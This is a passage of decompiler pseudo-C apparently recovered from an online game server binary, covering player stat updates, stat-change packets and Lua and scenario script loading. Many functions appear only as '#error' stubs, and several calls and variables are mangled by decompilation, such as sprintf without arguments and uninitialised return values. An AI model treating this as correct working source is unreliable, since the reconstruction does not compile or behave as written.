*)v2; LOBYTE(v84) = 1; if ( !(*(int (__thiscall **)(void *))(v10 + 1068))(v2) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_mobile_NotifyParameterChange so_parameter() NULL return", 0); goto LABEL_47; } if ( *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1068))(v2) + 3092) == -1 ) { *((_DWORD *)v2 + 1690) = (unsigned __int64)RulesOfEngagement::roe_MinWC(&roe_normalPY, (EngageArgument *)&arg); *((_DWORD *)v2 + 1691) = (unsigned __int64)RulesOfEngagement::roe_MaxWC(&roe_normalPY, (EngageArgument *)&arg); if ( &arg ) { v15 = (*(int (**)(void))(*(_DWORD *)arg + 1128))(); v14 = RulesOfEngagement::roe_MinMA_AppStat(&roe_normalPY, (EngageArgument *)&arg, *(_WORD *)(v15 + 1)); } else { v14 = 0.0; } *((_DWORD *)v2 + 1695) = (unsigned __int64)v14; if ( &arg ) { v17 = (*(int (**)(void))(*(_DWORD *)arg + 1128))(); v16 = RulesOfEngagement::roe_MaxMA_AppStat(&roe_normalPY, (EngageArgument *)&arg, *(_WORD *)(v17 + 1)); } else { v16 = 0.0; } *((_DWORD *)v2 + 1696) = (unsigned __int64)v16; if ( &arg ) { v19 = (*(int (**)(void))(*(_DWORD *)v65 + 1136))(); v18 = RulesOfEngagement::roe_AC_AppStat(&roe_normalPY, (EngageArgument *)&arg, *(_WORD *)(v19 + 1)); } else { v18 = 0.0; } *((_DWORD *)v2 + 1692) = (unsigned __int64)v18; if ( &arg ) { v21 = (*(int (**)(void))(*(_DWORD *)v65 + 1140))(); v20 = RulesOfEngagement::roe_MR_AppStat(&roe_normalPY, (EngageArgument *)&arg, *(_WORD *)(v21 + 1)); } else { v20 = 0.0; } *((_DWORD *)v2 + 1697) = (unsigned __int64)v20; if ( &arg ) { v23 = (*(int (**)(void))(*(_DWORD *)arg + 1132))(); v22 = RulesOfEngagement::roe_TH_AppStat(&roe_normalPY, (EngageArgument *)&arg, *(_WORD *)(v23 + 1)); } else { v22 = 0.0; } *((_DWORD *)v2 + 1693) = (unsigned __int64)v22; if ( &arg ) { v25 = (*(int (**)(void))(*(_DWORD *)v65 + 1132))(); v24 = RulesOfEngagement::roe_TB_AppStat(&roe_normalPY, (EngageArgument *)&arg, *(_WORD *)(v25 + 3)); } else { v24 = 0.0; } *((_DWORD *)v2 + 1694) = (unsigned __int64)v24; } else { v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1068))(v2); v12 = MobDataBox::operator__(&mobdatabox, *(_WORD *)(v11 + 3092)); if ( !v12 ) { v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1068))(v2); AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_mobile_NotifyParameterChange Not Find MobID :", *(_WORD *)(v13 + 3092)); goto LABEL_47; } *((_DWORD *)v2 + 1692) = v12->serv->AC; *((_DWORD *)v2 + 1697) = v12->serv->MR; *((_DWORD *)v2 + 1694) = v12->serv->TB; if ( v12->weaponnumber ) { *((_DWORD *)v2 + 1690) = 0; *((_DWORD *)v2 + 1691) = 0; *((_DWORD *)v2 + 1695) = 0; *((_DWORD *)v2 + 1696) = 0; *((_DWORD *)v2 + 1693) = 0; } else { *((_DWORD *)v2 + 1690) = v12->weapon->weapon->MinWC; *((_DWORD *)v2 + 1691) = v12->weapon->weapon->MaxWC; *((_DWORD *)v2 + 1695) = v12->weapon->weapon->MinMA; *((_DWORD *)v2 + 1696) = v12->weapon->weapon->MaxMA; *((_DWORD *)v2 + 1693) = v12->weapon->weapon->TH; } } if ( !send ) goto LABEL_47; memcpy(&UserChecktotal, (char *)v2 + 6740, 0xC0u); if ( ShineObjectClass::ShinePlayer::sp_IsUserCheckFreeStatEnable(v2) ) { v68 = (unsigned __int64)RulesOfEngagement::roe_MinWC_AppViewStat(&roe_normalPY, (EngageArgument *)&arg); v69 = (unsigned __int64)RulesOfEngagement::roe_MaxWC_AppViewStat(&roe_normalPY, (EngageArgument *)&arg); v73 = (unsigned __int64)RulesOfEngagement::roe_MinMA_AppViewStat(&roe_normalPY, (EngageArgument *)&arg); v74 = (unsigned __int64)RulesOfEngagement::roe_MaxMA_AppViewStat(&roe_normalPY, (EngageArgument *)&arg); v70 = (unsigned __int64)RulesOfEngagement::roe_AC_AppViewStat(&roe_normalPY, (EngageArgument *)&arg); v75 = (unsigned __int64)RulesOfEngagement::roe_MR_AppViewStat(&roe_normalPY, (EngageArgument *)&arg); v71 = (unsigned __int64)RulesOfEngagement::roe_TH_AppViewStat(&roe_normalPY, (EngageArgument *)&arg); v72 = (unsigned __int64)RulesOfEngagement::roe_TB_AppViewStat(&roe_normalPY, (EngageArgument *)&arg); } v26 = (PROTO_NC_CHAR_BASEPARAMCHANGE_CMD *)(gpp.pp_Buffer + 2); *(_WORD *)gpp.pp_Buffer = 4149; v26->changenum = 0; last_4 = v26; v27 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1260))(v2); curmaxsp = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1264))(v2); v28 = ShineObjectClass::ShinePlayer::sp_IsUserCheckFreeStatEnable(v2); v54 = *((_DWORD *)v2 + 16484); if ( v28 ) { Parameter::Cluster::c_compareelement((Parameter::Cluster *)&UserChecktotal, v27, v54, 16, v26); v29 = (Parameter::Cluster *)&UserChecktotal; } else { Parameter::Cluster::c_compareelement((Parameter::Cluster *)((char *)v2 + 6740), v27, v54, 16, v26); v29 = (Parameter::Cluster *)((char *)v2 + 6740); } Parameter::Cluster::c_compareelement(v29, curmaxsp, *((_DWORD *)v2 + 16485), 17, v26); *((_DWORD *)v2 + 16485) = curmaxsp; *((_DWORD *)v2 + 16484) = v27; if ( ShineObjectClass::ShinePlayer::sp_IsUserCheckFreeStatEnable(v2) ) { v30 = ShineObjectClass::ShinePlayer::so_ply_CheckFreeStatStr(v2); Parameter::Cluster::c_compareelement((Parameter::Cluster *)&UserChecktotal, v30->WCAbsolute, 0xFFFFFFFFu, 18, v26); v31 = ShineObjectClass::ShinePlayer::so_ply_CheckFreeStatCon(v2); Parameter::Cluster::c_compareelement((Parameter::Cluster *)&UserChecktotal, v31->ACAbsoulte, 0xFFFFFFFFu, 19, v26); v32 = ShineObjectClass::ShinePlayer::so_ply_CheckFreeStatInt(v2); Parameter::Cluster::c_compareelement((Parameter::Cluster *)&UserChecktotal, v32->MAAbsolute, 0xFFFFFFFFu, 20, v26); v33 = ShineObjectClass::ShinePlayer::so_ply_CheckFreeStatMen(v2); Parameter::Cluster::c_compareelement((Parameter::Cluster *)&UserChecktotal, v33->MRAbsolute, 0xFFFFFFFFu, 21, v26); v34 = ShineObjectClass::ShinePlayer::so_ply_CheckFreeStatDex(v2); Parameter::Cluster::c_compareelement((Parameter::Cluster *)&UserChecktotal, v34->THRate, 0xFFFFFFFFu, 22, v26); v35 = ShineObjectClass::ShinePlayer::so_ply_CheckFreeStatDex(v2); Parameter::Cluster::c_compareelement((Parameter::Cluster *)&UserChecktotal, v35->TBRate, 0xFFFFFFFFu, 23, v26); v36 = ShineObjectClass::ShinePlayer::so_ply_CheckFreeStatMen(v2); Parameter::Cluster::c_compareelement((Parameter::Cluster *)&UserChecktotal, v36->CriRate, 0xFFFFFFFFu, 24, v26); v37 = ShineObjectClass::ShinePlayer::so_ply_CheckFreeStatCon(v2); Parameter::Cluster::c_compareelement((Parameter::Cluster *)&UserChecktotal, v37->BlockRate, 0xFFFFFFFFu, 25, v26); v38 = ShineObjectClass::ShinePlayer::so_ply_CheckFreeStatCon(v2); Parameter::Cluster::c_compareelement((Parameter::Cluster *)&UserChecktotal, v38->MaxHP, 0xFFFFFFFFu, 26, v26); v59 = v26; v57 = 27; v55 = -1; v53 = ShineObjectClass::ShinePlayer::so_ply_CheckFreeStatMen(v2)->MaxSP; v39 = (Parameter::Cluster *)&UserChecktotal; } else { v40 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1124))(v2); Parameter::Cluster::c_compareelement( (Parameter::Cluster *)((char *)v2 + 6740), *(_WORD *)(v40 + 1), 0xFFFFFFFFu, 18, v26); v41 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1136))(v2); Parameter::Cluster::c_compareelement( (Parameter::Cluster *)((char *)v2 + 6740), *(_WORD *)(v41 + 1), 0xFFFFFFFFu, 19, v26); v42 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1128))(v2); Parameter::Cluster::c_compareelement( (Parameter::Cluster *)((char *)v2 + 6740), *(_WORD *)(v42 + 1), 0xFFFFFFFFu, 20, v26); v43 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1140))(v2); Parameter::Cluster::c_compareelement( (Parameter::Cluster *)((char *)v2 + 6740), *(_WORD *)(v43 + 1), 0xFFFFFFFFu, 21, v26); v44 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1132))(v2); Parameter::Cluster::c_compareelement( (Parameter::Cluster *)((char *)v2 + 6740), *(_WORD *)(v44 + 1), 0xFFFFFFFFu, 22, v26); v45 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1132))(v2); Parameter::Cluster::c_compareelement( (Parameter::Cluster *)((char *)v2 + 6740), *(_WORD *)(v45 + 3), 0xFFFFFFFFu, 23, v26); v46 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1140))(v2); Parameter::Cluster::c_compareelement( (Parameter::Cluster *)((char *)v2 + 6740), *(_WORD *)(v46 + 3), 0xFFFFFFFFu, 24, v26); v47 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1136))(v2); Parameter::Cluster::c_compareelement( (Parameter::Cluster *)((char *)v2 + 6740), *(_WORD *)(v47 + 3), 0xFFFFFFFFu, 25, v26); v48 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1136))(v2); Parameter::Cluster::c_compareelement( (Parameter::Cluster *)((char *)v2 + 6740), *(_WORD *)(v48 + 5), 0xFFFFFFFFu, 26, v26); v59 = v26; v57 = 27; v55 = -1; v53 = *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1140))(v2) + 5); v39 = (Parameter::Cluster *)((char *)v2 + 6740); } Parameter::Cluster::c_compareelement(v39, v53, v55, v57, v59); v49 = *(_DWORD *)v2; memcpy(&temptotal, (char *)v2 + 6740, 0xC0u); v50 = *(_WORD *)((*(int (__thiscall **)(void *))(v49 + 1172))(v2) + 18); v51 = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1172))(v2) + 20); *((_DWORD *)v2 + 1690) = v50 * *((_DWORD *)v2 + 1690) / 1024; *((_DWORD *)v2 + 1691) = v50 * *((_DWORD *)v2 + 1691) / 1024; *((_DWORD *)v2 + 1695) = v50 * *((_DWORD *)v2 + 1695) / 1024; *((_DWORD *)v2 + 1696) = v50 * *((_DWORD *)v2 + 1696) / 1024; *((_DWORD *)v2 + 1692) = v51 * *((_DWORD *)v2 + 1692) / 1024; *((_DWORD *)v2 + 1697) = v51 * *((_DWORD *)v2 + 1697) / 1024; if ( ShineObjectClass::ShinePlayer::sp_IsUserCheckFreeStatEnable(v2) ) { if ( Parameter::Cluster::c_compare((Parameter::Cluster *)&UserChecktotal, last, last_4) > 0 ) { v60 = 5 * last_4->changenum + 3; v58[0] = "ShineObjectClass::ShinePlayer::smo_NotifyParameterChange : Packet Too Long"; v56 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 5 * last_4->changenum + 3); goto LABEL_42; } } else { if ( Parameter::Cluster::c_compare((Parameter::Cluster *)((char *)v2 + 6740), last, last_4) > 0 ) { v60 = 5 * last_4->changenum + 3; v58[0] = "ShineObjectClass::ShinePlayer::smo_NotifyParameterChange : Packet Too Long"; v56 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 5 * last_4->changenum + 3); LABEL_42: if ( !AssertClass::operator__(&shineassert, v56, v58[0], v60) ) { v52 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v52 + 12))(v52, v2, &gpp); } goto LABEL_44; } } LABEL_44: Parameter::ChangeByConditionParam::cbcp_MakeParam( (Parameter::ChangeByConditionParam *)((char *)v2 + 6964), nChangeParam, v50, 28, (#593 *)v2); Parameter::ChangeByConditionParam::cbcp_MakeParam( (Parameter::ChangeByConditionParam *)((char *)v2 + 6992), v78, v50, 29, (#593 *)v2); Parameter::ChangeByConditionParam::cbcp_MakeParam( (Parameter::ChangeByConditionParam *)((char *)v2 + 7020), v81, v50, 30, (#593 *)v2); Parameter::ChangeByConditionParam::cbcp_MakeParam( (Parameter::ChangeByConditionParam *)((char *)v2 + 7048), v82, v50, 31, (#593 *)v2); Parameter::ChangeByConditionParam::cbcp_MakeParam( (Parameter::ChangeByConditionParam *)((char *)v2 + 7076), v79, v51, 32, (#593 *)v2); Parameter::ChangeByConditionParam::cbcp_MakeParam( (Parameter::ChangeByConditionParam *)((char *)v2 + 7104), v83, v51, 33, (#593 *)v2); Parameter::ChangeByConditionParam::cbcp_MakeParam_Plus( (Parameter::ChangeByConditionParam *)((char *)v2 + 7132), v80, 1024, 35, (#593 *)v2); memcpy((char *)v2 + 6740, &temptotal, 0xC0u); if ( ShineObjectClass::ShinePlayer::sp_IsUserCheckFreeStatEnable(v2) ) memcpy(last, &UserChecktotal, 0xC0u); else (*(void (__thiscall **)(void *, Parameter::Cluster *))(*(_DWORD *)v2 + 856))(v2, last); LABEL_47: LOBYTE(v84) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&arg); --funcallanalizer.fca_stackpoint; v84 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_NotifyParameterChange"); } //----- (004EA350) -------------------------------------------------------- #error "4EA350: undefined or illegal type '#593' (funcsize=133)" //----- (004EA520) -------------------------------------------------------- #error "4EA520: undefined or illegal type '#593' (funcsize=244)" //----- (004EA860) -------------------------------------------------------- void __thiscall std::vector>::_Xran(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (004EA8D0) -------------------------------------------------------- #error "4EA8D0: undefined or illegal type '#593' (funcsize=77)" //----- (004EA9E0) -------------------------------------------------------- #error "4EA9E0: undefined or illegal type '#593' (funcsize=77)" //----- (004EAAF0) -------------------------------------------------------- #error "4EAAF0: undefined or illegal type '#593' (funcsize=143)" //----- (004EACD0) -------------------------------------------------------- #error "4EACD0: undefined or illegal type '#593' (funcsize=143)" //----- (004EAEB0) -------------------------------------------------------- #error "4EAEB0: undefined or illegal type '#593' (funcsize=88)" //----- (004EAFE0) -------------------------------------------------------- #error "4EAFE0: undefined or illegal type '#593' (funcsize=151)" //----- (004EB1E0) -------------------------------------------------------- #error "4EB1E0: undefined or illegal type '#593' (funcsize=151)" //----- (004EB3E0) -------------------------------------------------------- #error "4EB3E0: undefined or illegal type '#593' (funcsize=268)" //----- (004EB760) -------------------------------------------------------- #error "4EB760: undefined or illegal type '#593' (funcsize=268)" //----- (004EBAE0) -------------------------------------------------------- #error "4EBAE0: undefined or illegal type '#593' (funcsize=678)" //----- (004EC3A0) -------------------------------------------------------- #error "4EC3A0: undefined or illegal type '#593' (funcsize=176)" //----- (004EC600) -------------------------------------------------------- #error "4EC600: undefined or illegal type '#593' (funcsize=193)" //----- (004EC890) -------------------------------------------------------- #error "4EC890: undefined or illegal type '#593' (funcsize=265)" //----- (004ECC10) -------------------------------------------------------- #error "4ECC10: undefined or illegal type '#593' (funcsize=259)" //----- (004ECF70) -------------------------------------------------------- #error "4ECF70: undefined or illegal type '#593' (funcsize=169)" //----- (004ED170) -------------------------------------------------------- #error "4ED170: undefined or illegal type '#593' (funcsize=131)" //----- (004ED2F0) -------------------------------------------------------- #error "4ED2F0: undefined or illegal type '#593' (funcsize=69)" //----- (004ED3B0) -------------------------------------------------------- void __thiscall LuaScriptScenario::lss_Routine(LuaScriptScenario *this, const char *Entrance, LuaScriptArgument::LuaArgumentDefault *luaarg) { const char *v3; // eax@2 const char v4; // cl@3 char *v5; // edi@4 char v6; // al@5 unsigned int v7; // eax@6 void *v8; // edi@6 char v9; // cl@7 char v10; // [sp+3h] [bp-205h]@4 char buffer[512]; // [sp+4h] [bp-204h]@1 unsigned int v12; // [sp+204h] [bp-4h]@1 v12 = (unsigned int)buffer ^ __security_cookie; if ( !LuaScript::ls_FunctionCall(&this->baseclass_0, Entrance, luaarg) ) { v3 = Entrance; do { v4 = *v3; v3[buffer - Entrance] = *v3; ++v3; } while ( v4 ); v5 = &v10; do v6 = (v5++)[1]; while ( v6 ); *(_WORD *)v5 = *(_WORD *)":"; v7 = strlen((const char *)&LuaScriptScenario::ls_Pointer) + 1; v8 = &v10; do { v9 = *((_BYTE *)v8 + 1); v8 = (char *)v8 + 1; } while ( v9 ); memcpy(v8, &LuaScriptScenario::ls_Pointer, v7); AssertClass::ac_AssertFail(&shineassert, "LuaScriptScenario::lss_Routine : function call error", buffer); LuaScriptObserver::lso_Send(&g_LuaScriptObserver, "function call error", buffer); } } //----- (004ED480) -------------------------------------------------------- void __thiscall Movie::FilmCase::FilmCase(Movie::FilmCase *this) { Movie::FilmCase *v1; // ebx@1 PineScriptToken thisa; // [sp+10h] [bp-10Ch]@1 int v3; // [sp+118h] [bp-4h]@1 v1 = this; PineScriptToken::pst_Clear(&this->fc_ScriptName); v3 = 0; v1->fc_Film = 0; PineScriptToken::PineScriptToken(&thisa, byte_635E1E); memcpy(v1, &thisa, 0x100u); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); v1->fc_ScriptID = -1; } //----- (004ED500) -------------------------------------------------------- void __thiscall Movie::FilmCase::FilmCase(Movie::FilmCase *this, char *scriptname) { Movie::FilmCase *v2; // ebx@1 PineScriptToken thisa; // [sp+10h] [bp-10Ch]@1 int v4; // [sp+118h] [bp-4h]@1 v2 = this; PineScriptToken::pst_Clear(&this->fc_ScriptName); v4 = 0; v2->fc_Film = 0; PineScriptToken::PineScriptToken(&thisa, scriptname); memcpy(v2, &thisa, 0x100u); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); v2->fc_ScriptID = -1; } //----- (004ED590) -------------------------------------------------------- void __thiscall Movie::FilmCase::_FilmCase(Movie::FilmCase *this) { Movie::FilmCase *v1; // ebx@1 PineScriptToken thisa; // [sp+10h] [bp-10Ch]@1 int v3; // [sp+118h] [bp-4h]@1 v1 = this; v3 = 0; this->fc_Film = 0; PineScriptToken::PineScriptToken(&thisa, byte_635E1E); memcpy(v1, &thisa, 0x100u); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); v1->fc_ScriptID = -1; v3 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)v1); } //----- (004ED630) -------------------------------------------------------- char __thiscall ScenarioBookShelf::ScenarioBook::sb_IsExist(ScenarioBookShelf::ScenarioBook *this, char *filename, char *extend) { bool v3; // zf@1 int v4; // edi@1 char *v5; // esi@1 signed int v6; // ecx@1 _iobuf *v7; // eax@7 char result; // al@8 char *v9; // [sp-4h] [bp-94h]@5 const char *v10; // [sp+0h] [bp-90h]@5 char buffer[128]; // [sp+Ch] [bp-84h]@1 unsigned int v12; // [sp+8Ch] [bp-4h]@1 v12 = (unsigned int)buffer ^ __security_cookie; v3 = 1; v4 = (int)"lua"; v5 = extend; v6 = 4; do { if ( !v6 ) break; v3 = *v5++ == *(_BYTE *)v4++; --v6; } while ( v3 ); if ( v3 ) { v10 = "../9Data/Hero/LuaScript/%s.%s"; v9 = buffer; } else { v10 = "../9Data/Hero/ScenarioBookShelf/%s.%s"; v9 = buffer; } sprintf(v9, v10); v7 = fopen(buffer, "r"); if ( v7 ) { fclose(v7); result = 1; } else { result = 0; } return result; } //----- (004ED6E0) -------------------------------------------------------- void __thiscall Movie::Theater::Theater(Movie::Theater *this) { Movie::Theater *v1; // esi@1 v1 = this; PineScriptStack::ProcessStack::ProcessStack(&this->t_Screen); ScriptInterrupt::ScriptInterruptManager::ScriptInterruptManager(&v1->t_InterruptManager); PineScriptToken::pst_Clear(&v1->t_ScriptName); *(_DWORD *)&v1->t_Screen.gap10114[4] = v1; v1->t_TimeLimit.tl_Theater = v1; } //----- (004ED750) -------------------------------------------------------- void __thiscall Movie::Theater::_Theater(Movie::Theater *this) { Movie::Theater *v1; // esi@1 v1 = this; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->t_ScriptName); ScriptInterrupt::ScriptInterruptManager::_ScriptInterruptManager(&v1->t_InterruptManager); PineScriptStack::ProcessStack::_ProcessStack(&v1->t_Screen); } //----- (004ED7B0) -------------------------------------------------------- #error "4ED7B0: undefined or illegal type '#1265' (funcsize=2)" //----- (004ED7C0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 657F70: using guessed type int (__stdcall *List_Movie__FilmCase____vftable_[3])(__int16 hnd); //----- (004ED7E0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, Movie::FilmCase *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0x108u); return 1; } // 4ED7F5: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004ED810) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, Movie::FilmCase *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x108u); this->vfptr->l_Free(this, v3); } return 1; } //----- (004ED860) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, Movie::FilmCase *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x108u); this->vfptr->l_Free(this, v3); } return 1; } //----- (004ED8B0) -------------------------------------------------------- char __thiscall ScenarioBookShelf::ScenarioBookPS::sb_Load(ScenarioBookShelf::ScenarioBookPS *this, char *fname) { ScenarioBookShelf::ScenarioBookPS *v2; // ebp@1 PineEventScript *v3; // esi@1 void *v4; // eax@3 PineEventScript *v5; // eax@4 int v6; // edi@6 int v7; // esi@6 signed int v8; // ecx@6 bool v9; // zf@6 char result; // al@15 char *v11; // [sp-10h] [bp-B8h]@10 const char *v12; // [sp-Ch] [bp-B4h]@10 int errline; // [sp+Ch] [bp-9Ch]@1 FunctionEntarance _; // [sp+10h] [bp-98h]@1 void *v15; // [sp+14h] [bp-94h]@3 char buffer[128]; // [sp+18h] [bp-90h]@10 unsigned int v17; // [sp+98h] [bp-10h]@1 int v18; // [sp+A4h] [bp-4h]@1 v2 = this; v17 = (unsigned int)&errline ^ __security_cookie; _.fe_FunctionCode = "ScenarioBookShelf::ScenarioBookPS::sb_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScenarioBookShelf::ScenarioBookPS::sb_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScenarioBookShelf::ScenarioBookPS::sb_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->sbps_Script; v18 = 0; if ( v3 ) { PineEventScript::_PineEventScript(v3); operator delete(v3); } v4 = operator new(0xCu); v15 = v4; LOBYTE(v18) = 1; if ( v4 ) PineEventScript::PineEventScript((PineEventScript *)v4); else v5 = 0; v6 = (int)"lua"; v7 = (int)"ps"; v8 = 3; v9 = 1; v2->sbps_Script = v5; do { if ( !v8 ) break; v9 = *(_BYTE *)v7++ == *(_BYTE *)v6++; --v8; } while ( v9 ); LOBYTE(v18) = 0; if ( v9 ) { v12 = "../9Data/Hero/LuaScript/%s.%s"; v11 = buffer; } else { v12 = "../9Data/Hero/ScenarioBookShelf/%s.%s"; v11 = buffer; } sprintf(v11, v12); if ( PineEventScript::pes_Load(v2->sbps_Script, buffer, &errline) ) { --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScenarioBookShelf::ScenarioBookPS::sb_Load"); } else { AssertClass::ac_AssertFail(&shineassert, fname, errline); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScenarioBookShelf::ScenarioBookPS::sb_Load"); } __security_check_cookie((unsigned int)&errline ^ v17); return result; } //----- (004EDA40) -------------------------------------------------------- char __thiscall ScenarioBookShelf::ScenarioBookLua::sb_Load(ScenarioBookShelf::ScenarioBookLua *this, char *fname) { ScenarioBookShelf::ScenarioBookLua *v2; // ebx@1 void *v3; // eax@1 LuaScriptScenario *v4; // eax@2 int v5; // edi@4 int v6; // esi@4 signed int v7; // ecx@4 bool v8; // zf@4 char result; // al@13 char *v10; // [sp-10h] [bp-138h]@8 const char *v11; // [sp-Ch] [bp-134h]@8 void *v12; // [sp+10h] [bp-118h]@1 FunctionEntarance _; // [sp+14h] [bp-114h]@1 char namebuffer[256]; // [sp+18h] [bp-110h]@8 unsigned int v15; // [sp+118h] [bp-10h]@1 int v16; // [sp+124h] [bp-4h]@1 v2 = this; v15 = (unsigned int)&v12 ^ __security_cookie; _.fe_FunctionCode = "ScenarioBookShelf::ScenarioBookLua::sb_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScenarioBookShelf::ScenarioBookLua::sb_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScenarioBookShelf::ScenarioBookLua::sb_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; v3 = operator new(8u); v12 = v3; LOBYTE(v16) = 1; if ( v3 ) LuaScriptScenario::LuaScriptScenario((LuaScriptScenario *)v3); else v4 = 0; v5 = (int)"lua"; v6 = (int)"lua"; v7 = 4; v8 = 1; v2->sbl_Script = v4; do { if ( !v7 ) break; v8 = *(_BYTE *)v6++ == *(_BYTE *)v5++; --v7; } while ( v8 ); LOBYTE(v16) = 0; if ( v8 ) { v11 = "../9Data/Hero/LuaScript/%s.%s"; v10 = namebuffer; } else { v11 = "../9Data/Hero/ScenarioBookShelf/%s.%s"; v10 = namebuffer; } sprintf(v10, v11); if ( !LuaScript::ls_FromFile(&v2->sbl_Script->baseclass_0, namebuffer) ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::ScenarioBookLua::sb_Load : Lua load error", fname); ShineExit("ScenarioBookShelf::ScenarioBookLua::sb_Load"); } --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScenarioBookShelf::ScenarioBookLua::sb_Load"); __security_check_cookie((unsigned int)&v12 ^ v15); return result; } //----- (004EDBA0) -------------------------------------------------------- void __thiscall Movie::PSFilm::PSFilm(Movie::PSFilm *this) { Movie::PSFilm *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (Movie::FilmBaseVtbl *)&Movie::LuaFilm::_vftable_; Movie::Theater::Theater(&this->baseclass_0.fb_Theater); v1->baseclass_0.vfptr = (Movie::FilmBaseVtbl *)&Movie::PSFilm::_vftable_; } // 658028: using guessed type int (__stdcall *Movie__PSFilm___vftable_)(int checkfunc, int arg); // 658030: using guessed type int (__stdcall *Movie__LuaFilm___vftable_)(int iti, char nEndureGrade); //----- (004EDBC0) -------------------------------------------------------- void __thiscall Movie::LuaFilm::LuaFilm(Movie::LuaFilm *this) { Movie::LuaFilm *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (Movie::FilmBaseVtbl *)&Movie::LuaFilm::_vftable_; Movie::Theater::Theater(&this->baseclass_0.fb_Theater); v1->baseclass_0.vfptr = (Movie::FilmBaseVtbl *)&Movie::LuaFilm::_vftable_; } // 658030: using guessed type int (__stdcall *Movie__LuaFilm___vftable_)(int iti, char nEndureGrade); //----- (004EDBE0) -------------------------------------------------------- void __thiscall Movie::LuaFilm::_LuaFilm(Movie::LuaFilm *this) { this->baseclass_0.vfptr = (Movie::FilmBaseVtbl *)&Movie::LuaFilm::_vftable_; Movie::Theater::_Theater(&this->baseclass_0.fb_Theater); } // 658030: using guessed type int (__stdcall 